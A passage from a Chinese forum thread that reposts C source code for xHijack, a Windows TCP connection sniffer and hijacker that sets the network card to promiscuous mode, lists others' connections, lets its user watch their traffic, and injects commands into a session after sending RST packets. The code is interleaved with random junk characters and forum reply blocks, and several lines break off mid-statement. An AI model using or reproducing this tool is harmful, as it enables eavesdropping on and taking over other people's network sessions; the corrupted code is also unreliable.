  g_dwCtrlConn = 0;
% N$ C3 }- x/ d; X- c" w8 Z  g_pCurrCtrlConn = NULL;
  y) k  m+ e% s1 J1 R- g7 u$ Y6 o  x3 X4 d  g_dwAction = ACTION_NONE;
2 @4 V" ], |! F! ^9 U! M# Z} ( b5 ?  E) V* q1 _2 w1 ~4 v
! h& o5 [: m: P+ n
// 9 n  b  k6 Z9 j- \1 e" G9 e/ C: R; p
//功能:处理Ctrl+C和Ctrl+Break事件 6 l& ~# t- U3 x3 j2 c
// 7 C$ X/ k+ X: h4 g
BOOL WINAPI CtrlEvent(DWORD dwCtrlType)
0 S& b8 ]5 u( _0 ^5 [5 W, Y% M{
+ ?0 y4 T+ ~3 p9 m  switch(dwCtrlType)
2 z% I: n2 U; D0 H  {
3 w/ S, V# A- h& H    case CTRL_BREAK_EVENT:
0 I( g9 A8 ?: M      //reset action all flag " x! T4 ]7 N: A3 v( a
      ResetActionAllFlag(); 2 W; D7 }4 T8 c7 ~5 a
      break;
) Z, w  c1 z6 }! j) D    case CTRL_C_EVENT:
' t1 K1 u  Q8 R  Z/ y! A6 s9 d2 G      //terminate all thread
9 V( `4 b% s0 ^- [      TerminateThread(g_hThread[0], 0); 2 v/ g- J/ j8 X. z
      TerminateThread(g_hThread[1], 0); $ L9 `. P8 X4 T  L/ w
      TerminateThread(g_hThread[2], 0);
/ E  `: D. R- {" @9 ?      TerminateThread(g_hThread[3], 0);
- {0 g: a4 Q) ]# g; Y  h" w      break; 0 w; }, J  o$ V! \% e( f
    default: " I% p* s* A+ w; i: I8 n$ d
      break;
" ]8 `% Y% j! L  [3 y  }
) D" P3 X! _% K7 z7 c: z7 q  return TRUE; + u+ e! p0 ~4 l9 |( ?5 z1 B# [
}
  }3 h6 _: E" I' x' P" q: ]
' S8 \( w* D+ f3 W6 y//
& E) P- ]0 l5 e  C: m0 `//功能:处理用户输入
+ [. J5 |: Q/ o' E. h' E5 i/ N//
5 [' Z9 }  h' c, k* m+ ~1 [0 K* ?DWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos)
' H$ n( H% s* Q/ Y2 q$ i# p5 ~8 \{
& g* P9 p5 ], M8 |3 _  DWORD  i;
& \/ S0 y% @( B4 l0 w  char  szBuff[16]; 5 N/ ]! N( X' L/ m, K) O( F- }# v; j$ D

, \; M2 f. t7 q  *lpCommandPos = 0; ) ?! j4 s" Z4 Q1 e& y1 N
  for(i=0; i<15, i代码比较乱 1 b( x+ e3 [  n; E
// / y: P8 N* Z7 D9 H' e# l
DWORD WINAPI InterfaceThread(LPVOID lp) : e! z/ H) i+ B0 a
{
  @2 V$ p% F% C2 L& M; r& ?! ?  char  szHelp[] =  "l\t\t<-- List all connections\n" - Y3 o) S1 T8 M7 y- u5 u) H! P( w
            "r x\t\t<-- Reset the number x connection\n" 6 G: M1 o0 w  u$ l7 x, G
            "w x\t\t<-- Watch the number x connection\n"
. C1 q5 ]2 W1 B  M5 P            "h x command\t<-- Hijack the number x connection to execute command\n" , P  T/ Y4 B2 J( F- d  `0 Y
            "[Note]\n" " s* ]5 @: N3 h5 j( z0 @
            "Ctrl+Break to clear all action\n"
- L* J; b! g; U- S. U5 x% H0 n            "Ctrl+C to exit\n"; 9 t1 K- `  B& n9 D3 B3 Q
  char  szPrompt[] = "\nxHijack>";
( ^# l& ~7 O2 _9 Y1 R* ]1 A  char  szBuffer[128];
# r+ f/ e3 E; r  DWORD  dwPos; + A& m0 l! n/ i$ g' I& X+ d; u
  PCONNINFO  pTmp;
- _9 C5 w4 ?- u3 P7 P) T* A8 c9 e, d: ~( N
  while(1)
* O1 [0 a, ?6 b. P' {  { : Y6 g' T- w4 r( f; f
    gets(szBuffer);//不考虑buffer overflow
2 A% o. f# E/ w# d3 |% q    switch(szBuffer[0])
; e: B& n& g0 z3 E! e    { 5 V& t( _; m0 X2 u1 f: @
      case 'l':
- i- L' Z! f+ [6 p2 o      case 'L': ; ?1 j: p7 u. R( k1 n' F
        ListAllConnection(); " b. f! P* u6 g* R$ Y
        break;
  R* c7 Z4 B" q2 J7 t+ b7 F# F$ W1 p      case 'r': * E8 b( S! E& B7 F; a
      case 'R':
1 n# m) p2 c7 l        if(strlen(szBuffer) >2)
, |$ O7 S. {' N0 i7 ?- i        {
; d: X, _9 W  i' c& f" l          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
2 D7 _0 L0 I& x* ~" ?; l7 ]! C1 r          g_dwAction = ACTION_RESET; 5 M* w, \- _3 v- o1 X1 Q
        }
8 X1 ^& C% ~5 \% a' ?        else printf("%s", szHelp); ; r3 [- `' C/ u3 d; o: Q
        break;
9 D1 o- |/ R% ?8 h      case 'w':
" z, C  ^( u7 h  Z      case 'W': % }; ?& S3 O, `% F0 p7 `
        if(strlen(szBuffer) > 2) 5 w4 e% A' t, c& _
        { , E( q9 k: G& E  R' L/ M' i
          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
! e" ]* X  D2 u, |5 D1 G2 c          g_dwAction = ACTION_WATCH; & p! {) T' r6 q  b& P
        } # Z* C% h2 u* G9 k% ]
        else printf("%s", szHelp); + Q' L, L# I; G0 W
        break; % |% q# {8 E( Q7 O% r3 K
      case 'h':
" i- I* m) ]9 |3 E, B& J$ t) e3 q; f) C      case 'H'://h 1 xxx $ C8 F& Q% E5 m% ?# k* n
        if(strlen(szBuffer) > 5) 4 W3 W# r& v$ p8 X; b9 x. U6 e) x5 a3 h
        { " s. }* J1 T. F& t, }! K& r
          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); 7 {7 T& H, G0 U6 K' g0 y
          //如果command第一个字符是'或" 1 o4 p: X* L! G5 V8 a
          if( (szBuffer[2+dwPos+1] == '\'') || (szBuffer[2+dwPos+1] == '\"') ) % n! `' Z: W$ y! t
          { 3 k5 _6 @5 I, u: `" W' S- S: A
            strncpy(g_szCommand, &szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3); * k3 C, l5 u2 j, T0 U
            g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或" 8 ?7 n- l& U9 [: W  p# k, J0 L
          }
/ B4 Y" C  f8 N" n, `          else strncpy(g_szCommand, &szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3);
2 T$ y( ~: x; B& k! m          strcat(g_szCommand, "\x0D\x0A"); % }0 D' L% Y0 J0 |2 z
          g_dwAction = ACTION_HIJACK; . ?2 t- r! @0 E1 i
        } ; _3 J6 V2 |4 q8 z. Z1 W$ E8 F( H
        else printf("%s", szHelp); $ B: D+ e4 l! z. i1 \; v! n. M
        break;
) I# m; T! g0 @9 \      default:
9 D$ S* b+ w/ p, y" m7 E- }5 x        printf("%s", szHelp); / `9 _5 E3 Z8 s% N7 ~1 M( Z
        break;   T" \( q7 R& ], {
    }//end of switch # l6 Q5 E; v- b2 m% M2 R: B/ ~
    //find the specify ident's struct point
2 ~6 [8 N) Y# ?. z( F) w3 c& {    if( (g_dwCtrlConn) && (g_dwAction) ) 2 X2 e7 ^1 J7 i- E
    {
1 X$ d: x+ B' L$ L2 [      g_pCurrCtrlConn = NULL;
0 J9 T1 x+ @% d      pTmp = g_pConnHead;
# y+ m! r7 b3 M2 R      while(pTmp)
: c# h3 z& C9 z      { ( ?; m% N! L$ j
        if((pTmp->ident == g_dwCtrlConn) && (pTmp->bActive) )
% v% l" j* _6 X8 K/ A. _+ {        { 4 f+ S& ?% T: w$ w
          g_pCurrCtrlConn = pTmp;
9 W4 A% Z- T/ f          break; 4 S( X% u& u' o2 }1 }
        } / `8 `" D! Z/ H; ?5 C% H* j0 F
        pTmp = pTmp->Next; : h; n% E( _* m+ A6 H9 J8 A
      }
: |9 t: e  [0 ^( I      if(!g_pCurrCtrlConn) - q+ v3 |2 P0 Z1 a
      {
- J" N" F+ e+ m        printf("Can't find the number %d connection.\n", g_dwCtrlConn);   ]* P# G3 B6 L" Q/ s: X
        //reset action all flag
0 H" g  O' |8 b5 b3 J! ]. `        ResetActionAllFlag();      
( d; S+ m& A7 L- ^      }
$ ~& z) }7 |' K7 u/ {    } + R5 C& \, X9 q+ {
    if(!g_dwCtrlConn) ResetActionAllFlag();
+ m$ ?" L" d: Z; z6 M    //显示当前用户所期望的动作
7 l4 P; a( t- j4 \1 u7 L" n    printf("\nCurrentAction:"); & Z, o5 g2 ~1 J; G: e! q3 J
    switch(g_dwAction)
. T% x! h+ v& ?" d    { + ^0 F- n; q! |, h. j
      case ACTION_WATCH: " ~+ R6 S+ K$ q: m  X) _& |  ~+ [
        printf("ACTION_WATCH");
2 U7 O) z8 j5 L. o        break; 3 ]% ^0 {; `! S8 w  F/ ~
      case ACTION_RESET:
# k# P* L. Q5 B        printf("ACTION_RESET");
1 K5 x" X: P4 J        break;
7 g2 w7 x& M) b0 m# g0 f      case ACTION_HIJACK:
' J0 o4 x4 t; N0 D( b! h        printf("ACTION_HIJACK"); $ n' d" |/ n' m+ \4 e7 Q& ^2 H' X
        break;
  J+ H0 I- j7 z& s      default: - J# m% \2 J# m+ C) ~
        printf("ACTION_NONE"); . v) `  R; `2 T9 r- J: y
        break;
6 V& ]" z  f" Q    }
- d5 Z0 o, N6 ]# E! j8 v! o6 g    printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt);
! G3 q9 k; [& i' p  }//enf of while
2 T# l/ I3 u) Y  p% G  return 0; 7 b' \  m$ ?: m) h) F
}
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

// / L$ ?5 u9 U( f3 b( x, @0 O: ?9 K//功能:列出当前所有连接 $ x$ Z" S0 _. r// , m1 [+ g N$ m# u/ f. vvoid ListAllConnection() ( W: Z* I/ S R{ 7 A& e" _9 G; R. A PCONNINFO pTmp; " m3 v! m' ~( m6 R! g SOCKADDR_IN saDest, saSource; % {* E' m( h! Z pTmp = g_pConnHead; 3 q. n/ L% b2 m" @0 W { while(pTmp) , ?' U! ]3 u- a* |4 W/ O { # m0 U* [ I# R3 S% ` if(pTmp->bActive) 3 ]- C8 X8 y0 k; m, l3 t" ^ { # F" _' B3 a5 ~: J- ~ saSource.sin_addr.s_addr = pTmp->dwServerIP; 5 r& l: u# p z" D, u, I saDest.sin_addr.s_addr = pTmp->dwClientIP; 2 B, H. Y: N* ]% [+ Y printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr), , N r! ]$ }+ L' u ntohs(pTmp->uServerPort)); & O# y3 e4 H. Q printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort)); $ n! H+ c/ w4 p+ @, T$ N, B# m } / a, v7 k7 R) w8 D* `* X6 C. a" [: @6 I pTmp = pTmp->Next; . M* p8 O) m q6 @& O! W) X, i } # ~4 b) ^' ]2 f: L/ n4 P } 0 O! p! `8 }* r( b+ \; X- D) K 9 g" l4 e, ~, G2 t1 _// : z8 Z6 T7 [9 @. H' U //功能:初始化一些数据,取得指定网卡的MAC地址和所有IP地址 3 D, p, c$ ]0 ^3 ^7 n! q// O5 B0 G R* F LPADAPTER InitAdapter() - D5 Y& \. w6 F l, c{ . I x) h1 a' s" x( U3 z d2 O LPADAPTER lpAdapter; . t; c6 L8 J- U0 }9 ?3 P static char AdapterList[Max_Num_Adapter][1024]; # S7 u2 T8 O/ S4 P char szSelectAdapterName[512]; * p2 w' x! f- K WCHAR AdapterName[2048]; : B& u% g% P# _) ?+ u. S9 Z WCHAR *temp,*temp1; / @5 Z7 L& L% N7 G* F4 y ULONG AdapterLength = 1024; % [+ A' E: o, r6 ? u5 } int iAdapterNum = 0; . l8 q( a7 j2 l% ]+ {* [ int iRetCode, i; - o% k# S3 V) o% ^4 g3 [ int iAdapter = 0; 6 @/ K' Q% p- P4 v& y8 N0 @7 e ULONG ulLen = 0; ! P* F/ M4 U8 G& D DWORD dwRet; 0 `9 b: B4 ^8 D- X* J* Q8 \ PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp; 2 ?# d; ]/ n, F: V3 w PIP_ADDR_STRING pIPAddr; - f; B. t/ }& R" o3 c9 Y6 s/ y6 w( g$ G' Z2 {+ _ //Get The list of Adapter c- e, H# h; X0 \, C if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) 9 A4 K$ ?- [0 H+ I+ y+ B9 K z { 0 U6 ?: t8 D. b printf("Unable to retrieve the list of the adapters!\n"); 8 ]1 d; w( V* a4 v! | return 0; # k, x$ j# j" i% e; G } ) R( q c$ V) Q3 ] temp = temp1 = AdapterName; 6 Q( @7 z q4 U1 S- } i = 0; & C8 y+ C/ W- ^+ J+ F while ((*temp != '\0')||(*(temp-1) != '\0')) - F+ A# i4 b; S5 ^5 c { - F2 m1 D* P# Z0 w$ A2 j' D if (*temp == '\0') # d4 `& C+ B0 }/ s7 M: _ { * R: z; g5 p4 n; U( b ]6 L memcpy(AdapterList,temp1,(temp-temp1)*2); / {6 |1 j% n( k3 A* }# s0 ^ printf("%d - %S\n", i+1, AdapterList); % W U: u3 E3 Q' ~& O# {+ H temp1=temp+1; 6 K/ Y7 L) \4 Q$ g$ e8 p. o i++; 7 u3 `" \% ?4 G: l, w- w4 { } 2 _8 D8 G' u/ o& v! ~ temp++; D6 k. I( P& W% c1 h } 5 t V2 i& j# x //choose adapter % z5 U/ @4 B9 k9 h" F while((iAdapter <= 0) || (iAdapter > i)) 6 c2 \, K2 N, ?8 U: }6 j' p5 b { 3 b* N& T- N0 X* _) ]0 l printf("\nPlease choose your Adapter:"); , M% l0 t6 \6 s- R/ v scanf("%1d", &iAdapter); / C6 i" M v: P0 ` } + `- |( E6 G- K" F: R/ o printf("\n"); - Q# W m5 ~3 ^0 H& w1 ?! k" s7 h1 d //---------------------------------------------// 6 w9 @6 {, n7 T/ d$ V5 E //这里调用iphlpapi来取得本地ip_addr和mac_addr & u6 [. A' R% t5 L; Q" U5 V$ b sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1); 7 i W$ G0 V3 ?7 D" |2 {3 n dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); p5 f# v. K' Z8 q+ f% ]2 j( H6 e if(dwRet != ERROR_BUFFER_OVERFLOW) 0 o3 r) t; F* A7 s* V0 U { & W4 Y) G2 G) C printf("GetAdapterInfo error:%d\n", GetLastError()); ) p3 Z6 u) F4 @( b; |: B& i7 k return 0; 9 [/ S: `2 X U1 [4 { } " U) ?3 T, l% [& h% O C pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen); # `, g% j* _# | z if(!pAdapterInfo) 4 f" [. }% f7 Y9 E { 1 D8 }/ w4 R3 R2 y, d printf("malloc memory for pAdapterInfo error:%d\n", GetLastError()); 5 g! L5 _; ^0 z, d+ B+ M& w0 p* k9 y return 0; & l1 C7 r: z! ^5 H2 I } - E1 |+ \9 {5 m+ m6 i3 ]# L! o/ g dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); : E4 l% a% ~" v& x if(dwRet != ERROR_SUCCESS) ( A& H" {* v V { 2 F+ d% Y9 B( Y* v printf("GetAdapterInfo error:%d\n", GetLastError()); % Z- C2 Q' ?' P" `; S return 0; ; u9 M t2 a4 y) O- W* R. h8 i9 ~ } } y4 g# I8 T. ^. ` pTmp = pAdapterInfo; 5 W, l% E' }3 ^/ A1 |$ a- j# k7 } while(pTmp) 7 T7 F. @8 g( ]) a) \$ _0 @5 u { ( h1 J7 e9 H: F! F- p) e //字符匹配
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

if(strstr(szSelectAdapterName, pTmp->AdapterName)) 8 u- `: ?8 c: z+ M { 3 b7 x1 s9 O8 G% l0 V4 a( b //found it,get own adapter mac address 5 N+ ^+ a& t5 p% k7 v memcpy(g_szOwnMAC, pTmp->Address, 6); % g- @; ^7 A" I1 w9 X4 p //get ip address + V: r# R% ~- u' Z: [- k pIPAddr = &pTmp->IpAddressList; i% f8 s$ {! o while(pIPAddr) 5 D6 m3 k6 V4 y6 `& ~ { 7 G8 Y* L* |3 s' T, d2 `4 p g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress); 1 L6 p( b3 m# s6 l# ?$ G pIPAddr = pIPAddr->Next; - ^ ^5 P1 |( l f W, N if(g_TotalIP >= Max_Num_IPAddr) break; 2 j' I j5 S. E1 H& x* R } / Y" a. ~6 f* K$ x9 {& k break; - I' {, A) j C ^$ e1 F1 L/ l# @ } q5 T- S2 C! A8 p/ s pTmp = pTmp->Next; ; W$ R/ M1 l" Z } , M7 ]; i2 z/ l free(pAdapterInfo); - _7 I ^' X! U* X //not found,return zero - A: _! N8 b$ g5 z if( (!pTmp) || (!g_TotalIP) ) return 0; & f: h4 v6 E' H! T //---------------------------------------------// % o8 [, ^; ^' f. P //open adapter * f& d% q" J2 ?7 g4 d1 _8 { lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]); ! f$ G* C- ]! [2 } if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) % `& w+ A# J& `4 | { 6 |4 A! R8 J. x: O! _ iRetCode = GetLastError(); / v2 g% u; ?3 w printf("Unable to open the driver, Error Code : %lx\n", iRetCode); - {& ` o3 T" i return 0; & D) ?- x* t+ \ } 2 \3 A6 M9 r1 ?3 r% R* W4 d5 Q4 ] // set the network adapter in promiscuous mod ) z: D9 f. q$ u% Y* \5 D$ T if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) : W9 c! D5 Q, _% \! G2 ~' s* t { 6 i4 n$ C- k0 H6 {; d printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n"); 8 j4 }; a: F* y if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE) * O& @7 D# p& S1 L8 ~! s* | { 3 ~$ H: h( P$ a2 i) t. ~; L printf("Unable to set ALL_LOCAL mode!\n"); . p$ ?$ S. @) [. K i2 p- ] return 0; / R6 s' t& `* ?8 t } / G) K& B( L& V+ V- X% g6 ]0 U } 4 r8 {, Y' c) }3 ^: p$ \ // set a 512K buffer in the driver : Y. n) [0 y6 y# U" B- b if(PacketSetBuff(lpAdapter, 512000) == FALSE) ' h, b$ d" I) C/ d# y- M { & b& M0 e/ O, a3 e printf("Unable to set the kernel buffer!\n"); 7 v' L& N2 q9 c& p8 Q return 0; 5 O3 z0 X' q6 o3 x } / i/ d! q! _" k+ B) ~3 ` // set a 1 second read timeout " V6 y$ R6 R/ X4 I6 n* e8 ^ if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE) ) a x: c# U V2 I$ Z printf("Warning: unable to set the read tiemout!\n"); 7 K9 U7 d9 ~7 ?/ u& @ if(PacketSetNumWrites(lpAdapter, 1) == FALSE) 8 |; p1 Q- l2 R; ^& V printf("warning: Unable to send more than one packet in a single write!\n"); 7 e% A9 Y. O7 ^ //设置发送的packet 2 I) k7 a. j4 t g* ` g_lpSendPacket = PacketAllocatePacket(); * {6 i6 u% W% M% ^ if(g_lpSendPacket == NULL) 1 K/ |' y" l. W. p! R; j0 x { 6 R- i7 N5 o% z. P& u printf("Error:failed to allocate the LPPACKET structure for send packet.\n"); / C9 j) V2 k: ^& A8 g& h4 K4 C return 0; 7 `! \ R2 P* I. f } 1 f* A+ ]) I; n7 K+ M5 q ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf)); , X! L% Z; C- Y9 r/ r# u PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514); " ^9 h( H/ N4 W: ]$ {) E' K* f( ?& v return lpAdapter; - O1 Z" b, ?- p } ( a# H7 ?% t9 H7 T( {0 ^; X ( h9 f# ^; f2 l, n& @+ A//功能:帮助信息 ) W- G* b8 |' m0 Z* `void usage() : F* T# e( V9 }/ Q* N { 3 V2 t1 D+ I) t2 f printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n" ' c/ w- t) Y2 n( s3 S "By eyas 2002/8/19\n" 2 F2 O' G# E& n' Z; D "http://www.ey4s.org\n" ( k* y' W2 k6 w "Thanks to Refd0m and shotgun\n\n" ' f, t$ P7 [9 n "Usage: xHijack ServerSide ClientSide\n\n"); " x4 N0 X3 a7 M$ e/ P; Q* z5 j } 7 i* E- x: j2 R! o1 B , h( G+ c: N4 O* h( l // & y3 X, U6 J9 S; {8 @ //功能:显示数据包的一些详细信息 : ^. m& \. @1 [: J // ' n0 p# M5 g" w' g( vVOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail) # \+ {/ I6 R4 q8 J3 C{ ' C7 ?5 p1 p9 ^- t0 K SOCKADDR_IN saDest, saSrc; . ^4 S& `* B7 p+ f: J unsigned char FlagMask; 1 Q3 S% S/ m1 A% D/ s+ [ int i; 7 M5 ]- i. E: h3 I7 @ + H- f" \- b5 G% n$ w( h saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP; ! n* J+ V5 a& ~/ i( K3 [ saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP; : _# n+ {* T( g* a' {: L4 U' Z& _ printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport)); 3 q$ R/ F5 A5 x0 T+ D# R" V- Y printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr), * P k) d% i% k& n ntohs(pTCPPacket->tcphdr.th_dport), usDataLen); $ ^2 ~9 d' y* {# ~ [) i. v //display TCP flag 3 T2 ^7 }) r& J- O for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1) 7 j: U6 | j5 E/ t Z$ K, W { 0 i( h$ q9 D2 g) c X- W if((pTCPPacket->tcphdr.th_flag) & FlagMask) 5 j8 d1 |" I' V) Q) p( u printf("%c", g_szTcpFlag); ' ]6 F, B) u) q else printf("-"); : h" S8 F( R& d! L } 0 {4 q6 Q: y5 y) y' B printf("\n"); / Y- C# [4 ]3 E& _ //如有需要,可显示更多详细的信息 ) x S+ T7 Q5 k2 b+ U7 g2 Z1 L if(bDetail) ) F: P" ^/ ]: O) Z) B printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack)); 0 ]- |8 K$ c$ K5 b3 I- I} . c" U2 }0 W! z: d 0 n& `' N% a5 E' H- V// # i- c$ m% u4 e7 \7 o' j//功能:处理收到的数据包(只分析本不属于自己的包),然后根据用户输入,完成各种功能 2 }2 @/ Y( X. o/ }8 H! g6 r+ v // $ ~0 ]' W `" `+ S1 z% ] DWORD WINAPI AnalysePacketsThread(LPVOID lp) + R7 _/ P0 x) P{ 9 @( O6 ^0 k/ i/ N; ^# N! d ULONG ulBytesReceived; , }1 c8 ]; h0 v USHORT usDataLen; 9 `/ _ g% l7 N8 g# C* `: J //USHORT usIPHeadLen, usTCPHeadLen; " _/ w! ~5 G- g G2 M8 q" m0 Z char *buf; ' D$ `& F# c' w9 [, i u_int off, i; 2 Y. g) t. o# a- W PTCPPACKET pTCPPacket; & Z) X3 g% Z1 v& }) g+ _$ E; _ struct bpf_hdr *hdr; % {" R7 z$ m7 S) s- J LPPACKET lpRecvPacket; ) T2 j3 [' c! A char szPacketBuf[256000], *pStr; ; U, e" W5 G6 ?$ o BOOL bDeleteNode, bAddNew; : v! C# C% n) w$ d$ o DWORD ident;//当前所处理的数据包,所属的连接的唯一标识 / f/ C/ L' Y& q BOOL bClientToServer;//数据包是否从客户端发送到服务器端 7 V) L, h4 P4 m9 U7 A7 z% L; B 1 u$ p [# C5 D //设置接收的packet ; U! r& S" N& ` lpRecvPacket = PacketAllocatePacket(); ; |: P7 w& ~$ _8 ~" Y& ?9 l if(lpRecvPacket == NULL) ! G; H, m% _$ X { 2 R# N; x1 ~$ B7 K& h. g printf("Error:failed to allocate the LPPACKET structure for recv.\n"); 5 D, w0 s( u# ^+ ]+ Z+ f return 0; . x2 E6 P2 m& D7 h5 {* l# N } f8 T1 S* }* @8 ^, L2 ? ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); , s- B; t; b, i- K5 u PacketInitPacket(lpRecvPacket, szPacketBuf, 256000); : V$ M. h5 x5 Z$ a9 N G8 { while(1) 8 T; J+ s! O0 k8 g { % }- y2 S3 Q* y // capture the packets ' q7 o4 [( g6 `$ V if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE) $ M/ J; F; ^1 M { / |. F- T8 Z' [0 P/ P' I printf("Error: PacketReceivePacket failed.\n"); 9 ?% R n7 D3 p8 C: D break; 1 ~4 |# P- w* F' m$ c/ s. f7 J } ! h' o3 k! C7 B8 a( T ulBytesReceived = lpRecvPacket->ulBytesReceived; 0 ?3 L# j- h* g2 P# R buf = lpRecvPacket->Buffer; + v" _9 I/ ^0 E; I5 Y& ?5 f off = 0; : u5 E. |$ J/ S0 r" Z# j4 ]; f# y9 C! b while(off < ulBytesReceived) - b8 L% S' V; Q9 j4 O& n { 6 {: R- G3 _/ j3 L3 p$ | hdr = (struct bpf_hdr *)(buf + off); 4 U3 x: t$ J+ }, j! V off += hdr->bh_hdrlen; & p2 ~* U; u8 S* J2 M* n pTCPPacket = (PTCPPACKET)(buf + off); + D( T- [% \; V& L off = Packet_WORDALIGN(off + hdr->bh_caplen); ; u5 |9 x( Z" t //不需要处理自己发出的包(转发或本机发送的) 8 o7 L( E* V* ^6 l2 h1 u2 ^ W if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue; 6 a. z4 R4 x3 f- ~2 l //检查是否IP包 . o! F/ [: Q# D3 G, M/ G if(pTCPPacket->ehhdr.EthernetType != htons(EPT_IP)) continue; 7 N& p. `* ]2 j: R //检查是否TCP包 ( f1 S: v# ?0 |" J/ o. t; ^ if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue; 6 h1 ?6 e; H& v( \# X //也不处理DestIP是自己的包 " m. x4 K" B+ s" u7 ? for(i=0; i
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

pTCPPacket-&gt;iphdr.sourceIP, pTCPPacket-&gt;tcphdr.th_sport, TRUE, FALSE); . H+ G4 L4 S' R9 K; t9 r4 q
            //reset action flag
" H+ i$ a9 y( R3 ]- e& e8 D: v2 g  G            ResetActionAllFlag(); 5 k# D: L$ p+ s7 ~
          } 3 f1 a5 m* y% t0 }
          //start hijack . C# F& d) ]' I8 t; I% _
          else if(g_dwAction == ACTION_HIJACK) / C# j, O2 Y, k$ m% ]  ^$ M
          {
8 x0 a2 ~  o+ a6 Z& m            //send rst packet to client & m$ P/ _6 n* r0 z8 h: M) d
            SendRstPacket(pTCPPacket-&gt;tcphdr.th_ack, pTCPPacket-&gt;tcphdr.th_seq); 7 \1 H  C+ S) x* t
            //send hijack packet to client
- s! N  c# _' j% s+ l8 z5 K            SendHiJackPacket(pTCPPacket); 9 q7 G+ Q6 s3 D; e. x
            //reset action flag
9 E% K& }" [* ^8 s1 `, {" ?            ResetActionAllFlag();
* L6 L3 P! t1 a          }
& Z( ~/ T. \+ ~7 [1 {" e        } / a+ _% A. }" l6 O3 L* Y0 B) B* S( e
        //show the tcp data
- w0 _. Y3 P9 X+ Z/ _+ s4 r% n        if( (g_dwAction == ACTION_WATCH) &amp;&amp; (usDataLen) ) % b5 g8 n9 ?# u- r, q3 v
        { 0 a2 g- x+ I. b* \" b5 \
          ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE); ! j  g: Z. s, p) e" {6 l
          //暂不考虑IP、TCP头不是20字节的情况
7 h" H' R1 e. s0 l. M* K          //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen; 2 j5 t9 ^  o+ E; _. E
          pStr = (char *)pTCPPacket + 54; 2 U+ m$ b7 M$ o0 s8 e
          for(i=0; i        } , a7 @3 @5 L7 v7 f9 L+ s
      }
, o! C0 t% Q  c2 x      //debug output
; m* V2 e' f- S, `( {6 j( U2 o      //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE); ) p3 [, Z* e2 N. M8 j: Q
    }//end of analyse packets while
/ o2 r* W" K- d* h, e. O  }//end of recv packets while 1 S% l" p: N9 E3 E3 e
  PacketFreePacket(lpRecvPacket); 0 N8 \% j" b; [, A- y
  return 0; % M/ J0 ?% r+ [1 f, L
} : n1 ^6 {: ]* J, R8 k

) Z: O+ k4 X, d+ ^; W: I
2 b0 |: x7 W% q' N  k- m//
2 u; v( s$ e2 N2 h- K$ m( X//功能:操作记录所有连接信息的单向链表 6 e; t, s" S' }1 j+ R" X3 b6 I5 t1 B
// % K6 @" G$ H! J" I3 p  g" e
DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
0 O% t' T' C- M7 B            USHORT uClientPort, BOOL bDelete, BOOL bAddNew) ) H- z6 D1 Q8 `2 }* q7 _% j0 s
{
9 G6 h4 W2 [) `+ z  PCONNINFO  pNew, pTmp;
( R. u% D' y. @. u
% s: `1 {) X7 C3 D$ `' M  pTmp = g_pConnHead;
) X/ y. m8 ^9 C+ M( \7 X- O. y$ R/ |  while(pTmp)
" s3 K  V* S' ^: O  { - |  q' v6 ]9 W9 A: O
    if(pTmp-&gt;bActive) $ r1 f; y1 z4 }& c; i
    {
6 a" x4 r8 H* ]) [% k+ ?2 m& }2 q# y1 `      //found it
